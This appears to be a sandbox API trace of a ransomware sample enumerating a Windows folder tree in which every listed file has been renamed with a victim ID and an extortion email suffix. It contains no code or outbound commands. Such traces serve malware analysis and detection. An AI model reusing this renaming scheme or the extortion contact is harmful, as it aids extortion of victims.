	[0165.989] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6abd98
	[0165.990] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0165.990] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x820ee924, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x820ee924, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82861f91, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.990] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82114cf6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82114cf6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8213aef9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13976, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.990] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81b9166d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81b9166d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81b9166d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.990] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81b9166d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81b9166d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81b9166d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.990] FindClose (in: hFindFile=0x6abd98 | out: hFindFile=0x6abd98) returned 1
	[0165.991] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.991] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1
	[0165.991] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.991] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6ac098
	[0166.080] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0166.081] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x821ad5df, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x821ad5df, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x828d461c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x31546, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="Parameterinfo.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="PARAME~1.HTM")) returned 1
	[0166.081] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8221fcf6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8221fcf6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82245dfb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="UiInfo.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="UIINFO~1.HTM")) returned 1
	[0166.081] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8221fcf6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8221fcf6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82245dfb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="UiInfo.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="UIINFO~1.HTM")) returned 0
	[0166.081] FindClose (in: hFindFile=0x6ac098 | out: hFindFile=0x6ac098) returned 1
	[0166.081] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0166.081] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1
	[0166.081] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81b9166d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81b9166d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81bb768c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="DISPLA~1.HTM")) returned 1
	[0166.081] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1
	[0166.081] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0166.081] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6abb58
	[0166.093] FindNextFileW (in: hFindFile=0x6abb58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0166.093] FindNextFileW (in: hFindFile=0x6abb58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82245dfb, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82245dfb, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8226c094, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x16d86, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="Parameterinfo.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="PARAME~1.HTM")) returned 1
	[0166.094] FindNextFileW (in: hFindFile=0x6abb58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8226c094, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8226c094, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8299326e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="UiInfo.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="UIINFO~1.HTM")) returned 1
	[0166.094] FindNextFileW (in: hFindFile=0x6abb58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8226c094, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8226c094, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8299326e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="UiInfo.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="UIINFO~1.HTM")) returned 0
	[0166.094] FindClose (in: hFindFile=0x6abb58 | out: hFindFile=0x6abb58) returned 1
	[0166.095] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0166.095] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1
	[0166.095] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0166.095] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6abc98
	[0166.099] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0166.100] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81bb768c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81bb768c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81bdd834, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="Print.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="PRINTI~1.HTM")) returned 1
	[0166.100] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81bdd834, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81bdd834, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81fbd558, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="Rotate1.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="ROTATE~1.HTM")) returned 1
	[0166.100] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81cc44a9, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81cc44a9, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81ce89c4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="Rotate2.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="ROTATE~2.HTM")) returned 1
	[0166.100] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81ce89c4, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81ce89c4, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81ce89c4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="Rotate3.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="ROTATE~3.HTM")) returned 1
	[0166.101] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81d0ebc6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81d0ebc6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82055f4a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="Rotate4.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="ROTATE~4.HTM")) returned 1
	[0166.101] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81df54ba, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81df54ba, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81df54ba, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="Rotate5.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="RO8138~1.HTM")) returned 1
	[0166.101] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81df54ba, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81df54ba, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81e19c83, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="Rotate6.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="ROF0A6~1.HTM")) returned 1
	[0166.101] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81e19c83, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81e19c83, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81e19c83, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="Rotate7.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="ROEA08~1.HTM")) returned 1
	[0166.101] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81efea7e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81efea7e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81efea7e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="Rotate8.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="RO089C~1.HTM")) returned 1
	[0166.101] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81f24d73, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81f24d73, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81f24d73, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="Save.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SAVEIC~1.HTM")) returned 1
	[0166.101] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81f4afc5, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81f4afc5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81f4afc5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9056, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="Setup.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPI~1.HTM")) returned 1
	[0166.101] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81f4afc5, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81f4afc5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8245bff5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="stop.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="STOPIC~1.HTM")) returned 1
	[0166.101] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81fe38d8, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81fe38d8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81fe38d8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SysReqMet.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SYSREQ~1.HTM")) returned 1
	[0166.101] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82009b42, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82009b42, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82009b42, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SysReqNotMet.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SYSREQ~2.HTM")) returned 1
	[0166.102] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82009b42, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82009b42, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82009b42, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="warn.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WARNIC~1.HTM")) returned 1
	[0166.102] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82009b42, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82009b42, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82009b42, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="warn.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WARNIC~1.HTM")) returned 0
	[0166.102] FindClose (in: hFindFile=0x6abc98 | out: hFindFile=0x6abc98) returned 1
	[0166.102] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0166.102] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8226c094, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8226c094, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x822922be, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="HEADER~1.HTM")) returned 1
	[0166.103] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x852fd145, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xadd3953, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="NETFX_~1.HTM")) returned 1
	[0166.103] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x836b000b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x290310, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="NETFX_~2.HTM")) returned 1
